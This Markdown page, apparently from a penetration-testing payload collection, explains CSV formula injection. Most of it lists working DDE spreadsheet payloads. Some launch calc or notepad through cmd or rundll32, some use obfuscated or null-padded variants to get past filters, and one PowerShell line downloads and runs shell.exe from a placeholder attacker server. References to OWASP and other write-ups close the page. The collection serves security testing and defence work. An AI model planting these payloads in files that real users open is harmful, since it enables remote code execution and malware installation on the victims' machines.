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77 lines
2.8 KiB
Markdown
77 lines
2.8 KiB
Markdown
# CSV Injection
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Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
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## Exploit
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Basic exploits with **Dynamic Data Exchange**.
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Payload: pop a calc
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```powershell
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DDE ("cmd";"/C calc";"!A0")A0
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@SUM(1+1)*cmd|' /C calc'!A0
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=2+5+cmd|' /C calc'!A0
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```
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Payload: pop a notepad
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```powershell
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=cmd|' /C notepad'!'A1'
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```
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Payload: powershell download and execute
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```powershell
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=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
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```
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Payload: Prefix obfuscation and command chaining
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```powershell
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=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
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=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
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+thespanishinquisition(cmd|'/c calc.exe'!A
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= cmd|'/c calc.exe'!A
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```
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Payload: Using rundll32 instead of cmd
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```powershell
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=rundll32|'URL.dll,OpenURL calc.exe'!A
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=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
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```
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Payload: Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
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```powershell
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= C m D | '/ c c al c . e x e ' ! A
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```
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Technical details of the above payloads:
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- `cmd` is the name the server can respond to whenever a client is trying to access the server
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- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
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- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
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Any formula can be started with
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```powershell
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=
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+
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–
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@
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```
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## References
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- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
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- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
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- [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
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- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
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- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
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- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
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- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) |